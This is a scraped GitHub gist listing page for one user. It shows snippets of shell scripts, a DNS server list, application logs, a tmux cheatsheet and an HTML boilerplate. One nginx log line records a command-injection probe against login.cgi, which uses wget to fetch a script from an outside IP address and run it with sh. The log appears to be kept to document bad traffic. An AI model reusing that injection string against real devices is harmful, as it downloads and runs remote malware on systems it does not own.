Skip to content

Instantly share code, notes, and snippets.

Joshua Canfield jcanfield

Block or report user

Report or block jcanfield

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View gist:dbea452188b9f93419ff352117972791
195.114.173.153 # ns1.internetia.pl - Netia
195.116.55.69 # ns2.internetia.pl - Netia
8.8.8.8 # google-public-dns-a.google.com - Google
8.8.4.4 # google-public-dns-b.google.com - Google
208.67.222.222 # resolver1.opendns.com - OpenDNS
208.67.220.220 # resolver2.opendns.com - OpenDNS
208.67.222.220 # resolver3.opendns.com - OpenDNS
208.67.220.222 # resolver4.opendns.com - OpenDNS
149.156.1.3 # nms.cyf-kr.edu.pl
149.156.4.11 # info.cyf-kr.edu.pl
View tmux-cheatsheet.markdown

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
@jcanfield
jcanfield / dnsupdater.sh
Created Jul 15, 2018 — forked from fibergames/dnsupdater.sh
DigitalOcean dynamic DNS updater script for your subdomain
View dnsupdater.sh
#!/bin/bash
# Created by fibergames.net // Loranth Moroz // v.0.5
# Required tools to run this script as is: curl (https://curl.haxx.se/) & jq (https://stedolan.github.io/jq/)
# This only works for Digitalocean - 10$ credit referral link: https://m.do.co/c/fed75101475f
# Edit token, domain, subdomain to fit your needs
# Substitute ipinfo.io with your own ip-checker e.g. ipecho.net/plain
# This is to be used with crontab -> example entry to run it every 3hours:
# 0 */3 * * * sh /path/to/script/dnsupdater.sh
# Don't forget to make it executable: chmod +x /path/to/script/dnsupdater.sh
@jcanfield
jcanfield / sublime-text_20180711.log
Created Jul 11, 2018
Sublime Text 3dev Freezes
View sublime-text_20180711.log
error 14:31:51.003155 -0600 Sublime Text AEGetDescData of non-desc type 'reco' not a good idea
default 14:31:51.863304 -0600 Sublime Text TIC Enabling TLS [1:0x608000173a40]
default 14:31:51.863414 -0600 Sublime Text TIC TCP Conn Start [1:0x608000173a40]
default 14:31:51.863727 -0600 Sublime Text Task <B3A60CA8-6401-45EC-8631-813C1710F547>.<0> setting up Connection 1
default 14:31:51.863770 -0600 Sublime Text [1 <private> <private>] start
default 14:31:51.928317 -0600 Sublime Text TIC TLS Event [1:0x608000173a40]: 1, Pending(0)
default 14:31:51.976038 -0600 Sublime Text TIC TLS Event [1:0x608000173a40]: 2, Pending(0)
default 14:31:51.989940 -0600 Sublime Text UNIX error exception: 17
default 14:31:52.016819 -0600 Sublime Text UNIX error exception: 17
default 14:31:52.025569 -0600 Sublime Text UNIX error exception: 17
@jcanfield
jcanfield / .bash_aliases
Created Jul 10, 2018 — forked from insane-dev/.bash_aliases
Commonly used bash aliases
View .bash_aliases
#!/bin/bash
# Colors
RED='\033[0;31m'
BLACK='\033[0;30m'
DARK_GRAY='\033[1;30m'
LIGHT_RED='\033[1;31m'
GREEN='\033[0;32m'
LIGHT_GREEN='\033[1;32m'
BROWN_ORANGE='\033[0;33m'
@jcanfield
jcanfield / ask.sh
Created Jul 9, 2018 — forked from davejamesmiller/ask.sh
Bash General-Purpose Yes/No Prompt Function ("ask")
View ask.sh
# This is a general-purpose function to ask Yes/No questions in Bash, either
# with or without a default answer. It keeps repeating the question until it
# gets a valid answer.
ask() {
# https://djm.me/ask
local prompt default reply
while true; do
@jcanfield
jcanfield / nginx.log
Created Jun 18, 2018
Invalid Nginx requests
View nginx.log
189.28.166.4 - - [18/Jun/2018:11:29:31 -0600] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 404 134 "-" "Hello, World"
View 2018-04-08_SpecOps-TheLine_syslog.text
default 03:02:52.883566 -0600 SpecOps - The Line LSExceptions shared instance invalidated for timeout.
default 03:03:04.351458 -0600 launchservicesd CHECKIN:0x0-0x864864 67945 com.digitaltribe.specops
default 03:03:04.361801 -0600 SpecOps - The Line /BuildRoot/Library/Caches/com.apple.xbs/Sources/AppleFSCompression/AppleFSCompression-96.30.2/Common/ChunkCompression.cpp:50: Error: unsupported compressor 8
default 03:03:04.361855 -0600 SpecOps - The Line /BuildRoot/Library/Caches/com.apple.xbs/Sources/AppleFSCompression/AppleFSCompression-96.30.2/Libraries/CompressData/CompressData.c:353: Error: Unknown compression scheme encountered for file '/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/Exceptions.plist'
default 03:03:04.363574 -0600 SpecOps - The Line /BuildRoot/Library/Caches/com.apple.xbs/Sources/AppleFSCompression/AppleFSCompression-96.30.2/Common/ChunkCompression.cpp:50: Error: unsupported compressor 8
default 03:03:04.363624 -0600 SpecOps - The Line /BuildRoot/Library/Caches/com.apple
@jcanfield
jcanfield / atomicinstall.sh
Created Mar 7, 2018 — forked from jknight2014/atomicinstall.sh
Installer for the Atomic Toolkit by HTPC Beginner
View atomicinstall.sh
#/bin/bash
#The one step installer for the AtoMiC-ToolKit
#Written by KnightCinema.com
touch /var/log/atomic-install.log
echo "Updating APT ..."
apt-get -y update > /var/log/atomic-install.log
echo "Installing Prerequsits"
apt-get -y install git-core nano python-software-properties dialog > /var/log/atomic-install.log
dialog --title "The AtoMiC Tool Kit installer" --yesno "This will install the AtomMiC toolkit as well as some prerequsits. Please be aware this software is provided with no warranties. Proceed at your own risk. Would you like to continue?" 8 100
# Cloaning into the OPT folder for organization.
@jcanfield
jcanfield / html-head-boilerplate.html
Created Jan 16, 2018 — forked from nunosans/html-head-boilerplate.html
HTML Head Boilerplate & Reference
View html-head-boilerplate.html
<!doctype html>
<html>
<head>
<!-- Priority tags. These must come first. -->
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge; chrome=1"> <!-- Render Chrome if available or using latest version of Internet Explorer (Recommended). -->
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<!-- Document Title -->
<title>Page Title</title>
<!-- Allows control over where resources are loaded from. Place as early in the document as possible, only applies to content below this tag. -->
You can’t perform that action at this time.